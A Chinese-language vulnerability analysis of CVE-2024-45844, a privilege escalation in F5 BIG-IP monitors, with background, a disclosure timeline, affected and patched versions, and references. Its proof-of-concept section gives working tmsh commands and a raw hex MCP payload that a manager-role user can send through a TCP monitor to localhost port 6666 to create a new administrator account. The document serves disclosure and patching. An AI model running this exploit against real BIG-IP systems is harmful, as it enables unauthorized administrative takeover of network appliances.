F5 BIG-IP 监控权限绕过漏洞CVE-2024-45844分析
F5 BIG-IP 应用服务软件是硬件平台和软件解决方案的集合,提供专注于安全性、可靠性和性能服务,让客户应用程序安全、稳定地运行。
一、基本情况
BIG-IP是F5公司一款集成网络流量管理、应⽤程序安全管理、负载均衡等功能的应⽤交付平台,提供应用程序、API 防护和访问控制服务。
2023 年,TrustRadius 用户为 “F5 BIG-IP 应用服务” 颁发了三项大奖,三大奖项分别是 “最佳性价比奖”、“最佳功能集奖” 和 “最佳关系奖”。
栋科技漏洞库关注到F5公司于2024年10月16日发布编号K000140061的资安公告,披露了BIG-IP monitors vulnerability CVE-2024-45844。
二、漏洞分析
CVE-2024-45844漏洞存在于BIG-IP 监控功能中,可能允许至少具有管理员角色权限的经过身份验证的攻击者提升其权限或者是修改配置。
CVE-2024-45844漏洞CVSS评分8.6,F5 产品开发已为此漏洞分配 ID 1593681(BIG-IP)并归类为CWE-306:缺少关键功能的身份验证。
CVE-2024-45844漏洞可能允许具有管理员角色权限或更高权限的经过身份验证的攻击者,去访问配置实用程序或TMOS Shell( tmsh)。
无论端口锁定设置如何,攻击者都可能绕过控制限制成功访问配置实用程序或TMOS Shell( tmsh),从而提升其权限并危害BIG-IP系统。
网安人员 myst404 针对CVE-2024-45844漏洞在官方VMWare映像安装 F5 BIGIP-17.1.1.2-0.0.10 LTM 上执行测试,下为译文(有修改):
1、MCP
Ron Bowes 指出,MCP(主控制程序)是F5 BIG-IP设备内部使用的专有数据库,可通过发送由mcpd守护程序处理的MCP消息与之交互。
有两种方法向mcpd守护进程发送MCP消息:一是通过UNIX域套接字/var/run/mcp;二是通过网络套接字监听127.0.0.1:6666(未公开)。
2、MCP消息
与 MCP 数据库之间的交互不需要身份验证且 MCP 消息没有任何特定保护(如加密或防中继),大多数 F5 配置都依赖于底层 MCP 消息。
这里的配置包括添加 iRule、修改 NAT 策略、添加新的池成员等。
从安全角度来看,这意味着任何能够发送 MCP 消息的攻击者都可以创建新的根级帐户、更改任何用户的角色或者是修改任何用户的密码。
那么攻击者如何滥用此行为来执行权限升级的呢?
(1)Unix domain socket
Unix Domain Socket是一种用于进程间通信的机制,可在同一台主机的进程间进行通信而无需经过网络协议栈,因此具有较高性能和效率。
它也叫IPC(Inter-Process Communication)套接字,可用于两个没有亲缘关系的进程,是全双工的,也是目前使用最为广泛的 IPC 机制。
UNIX域套接字/var/run/mcp具有777权限,这就意味着Linux系统上任何人都可以与MCP交互,而限制是您需要执行bash类似 的命令socat。
但是F5 限制了特定用户可以访问bashBIG-IP 系统,只有默认root和具有管理员角色的用户才能进行bash访问,因此攻击在这里毫无意义。
因此攻击者需要具有管理员访问权限才能成为管理员,攻击者可以运行 apache 用户身份,通过欺诈性访问获得任意命令执行利用该场景。
攻击者可以通过网络服务器以 apache 用户身份(这是一种用于运行网络服务器的低特权帐户)运行,然后就获得了任意命令执行的权限。
具体来说就是通过使用refreshing-mcp-tool存储库 mcp-privesc.rb 中的脚本或发送特定的网络请求,可以轻松执行权限提升并成为管理员。
这是 F5 已知而且“无法修复”的问题: mcpd 的当前架构(不需要身份验证)是一个已知的问题,现阶段 F5 不会在BIG-IP中对其进行更改。
(2)Network socket
攻击者需向网络套接字发送请求127.0.0.1:6666,但其需要具有本地访问权限,如上所述 ,再次执行该命令nc是可能的,但需要访问权限。
bash 权限较低的用户使用tmsh(Traffic Management Shell),它是用于管理BIG-IP系统的受限命令行界面,对其进行利用需要特定条件。
通过深入研究官方文档,我们意识到我们需要劫持命令才能在本地发送 MCP 消息,从而执行权限升级,因此通过这一方式渗透难度较大。
Traffic Management Shell 是BIG-IP系统管理和配置网络服务工具,管理员通过tmsh可以执行复杂配置任务、监控设备状态及故障排除等。
3、CVE-2024-45844
(1)Generating a MCP message
攻击者必须创建 MCP 消息有效负载才能利用权限升级,创建新管理员用户的 MCP 消息是实现此目标的简单方法,尽管并非最隐蔽方法。
目前有两种方法可以轻松创建 MCP 消息:如通过strace在任何测试实例上捕获它,然后重播;或者是通过使用mcp-privesc.rb等生成工具。
而一旦伪造,MCP 消息必须发送到127.0.0.1:6666。
(2)LTM Monitors
LTM(Local Traffic Manager)监视器用于定期检查服务是否按预期应答,该工具可以监视多种服务:MySQL、LDAP、SMB、HTTP 等。
根据监视器类型,可以发送任意数据来正确检查服务是否正常运行,比如一个为HTTP监视器定制的HTTP头来正确检查服务是否已启动。
有趣的是通过 Local Traffic Manager 发送ltm monitor tcp 命令可以用于监视 TCP 网络服务是否已启动或者说监视是否具有TML网络服务。
此监视器允许发送指定原始tml消息,使用者至少需具备manager role权限才能创建LTM监视器,但无法直接创建指向 localhost 的监视器。
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# create privesc destination 127.0.0.1
Syntax Error: invalid monitor destination "127.0.0.1"
但这并不代表无懈可击,攻击者可以先创建一个 LTM 监视器,然后将目标更改为 localhost。
PoC概念验证:
出于演示目的,我们使用管理员帐户root来创建经理帐户manager_almond,该帐户将利用权限升级。
①使用管理员用户创建管理员用户:
[root@f5-bigip:Active:Standalone] ~ $ tmsh create /auth user manager_almond prompt-for-password partition-access add { all-partitions { role manager } } shell tmsh
②使用新创建的帐户登录:
user@attackervm:~ $ ssh manager_almond@<IP>
③在 TMSH 提示符中:
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)$ ltm monitor tcp #enter the menu ltm monitor tcp
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ create privesc #creating a monitor named privesc
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ modify privesc send '\x00\x00\x00\x36\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x10\x28\x00\x0d\x00\x00\x00\x2e\x10\x29\x00\x0f\x00\x00\x00\x06\x00\x04\x72\x6f\x6f\x74\x64\xb6\x00\x0f\x00\x00\x00\x16\x00\x14\x74\x6d\x73\x68\x2c\x20\x74\x6d\x73\x68\x2d\x70\x69\x64\x2d\x31\x32\x38\x37\x30\x00\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0b\x61\x00\x0d\x00\x00\x00\x1f\x10\x04\x00\x0d\x00\x00\x00\x15\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x36\x10\x04\x00\x0d\x00\x00\x00\x2c\x10\x08\x00\x0f\x00\x00\x00\x07\x00\x05\x5b\x41\x6c\x6c\x5d\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x10\x07\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x4c\x0b\x11\x00\x0d\x00\x00\x00\x42\x0b\x12\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x0b\x19\x00\x0f\x00\x00\x00\x06\x00\x04\x62\x61\x73\x68\x0b\x13\x00\x0f\x00\x00\x00\x0f\x00\x0d\x41\x6c\x6d\x6f\x6e\x64\x5f\x4f\x66\x66\x53\x65\x63\x0b\x14\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00' #set the MCP message that will create the administrator user almond111 with the password Almond_OffSec
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ run privesc destination 127.0.0.1:6666 #Run the monitor, i.e. send the data above to 127.0.0.1:6666
④用户almond111已创建!
PoC 执行从具有管理员角色(创建 LTM 监视器所需的最低权限级别)的用户到管理员的权限升级。
4、关于F5 响应的时间线
2024年05月29日:报告发送至F5。
2024年05月30日:F5 首次回应。
2024年06月19日:F5 承认漏洞。
2024年09月29日:发布 BIG-IP 修补版本(17.1.1.4、16.1.5和15.1.10.5)。
2024年10月11日:F5 回复:
内部守护程序只能在本地主机地址和本地 UNIX 套接字上访问,这些套接字无法从外部访问且只能访问在 BIG-IP 本身上运行的特权进程。
BIG-IP 不是通用的多用户平台, F5 建议仅允许受信任用户进行命令行 (CLI) 访问,因为所有具有CLI访问权限用户都被授予管理员权限。
BIG-IP Next 使用围绕零信任模型构建的新架构,确保内部消息受到保护。
2024年10月16日:F5安全公告发布。F5 季度安全通知(2024年10 月)发布。
2024 年 10 月 16 日:发布CVE-2024-45844,CVSSv4.0:8.6。
2024年10月17日:本文发布。
5、验证测试最新版本17.1.1.4 结果:
无法再使用 LTM TCP 监视器在本地发送消息,如果目标不是 IPv4 地址(由点分隔的 4 个块)或者 IP 地址以 127 开头,则会引发错误:
manager_almond2@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# run privesc destination 127.0.0.2:6666
01071e25:3: Invalid Monitor Address for /Common/privesc.
三、漏洞影响
BIG-IP(所有模块)版本:17.1.0(含)~17.1.1(含)
BIG-IP(所有模块)版本:16.1.0(含)~16.1.4(含)
BIG-IP(所有模块)版本:15.1.0(含)~15.1.10(含)
四、修复建议
官方已发布更新以解决 F5 产品中的漏洞,最新更新中已提供漏洞补丁,建议受影响版本的用户更新至最新版本。
BIG-IP(所有模块)版本:17.1.1.4
BIG-IP(所有模块)版本:16.1.5
BIG-IP(所有模块)版本:15.1.10.5
五、参考链接
https://my.f5.com/manage/s/article/K000140061
https://offsec.almond.consulting/privilege-escalation-f5-CVE-2024-45844.html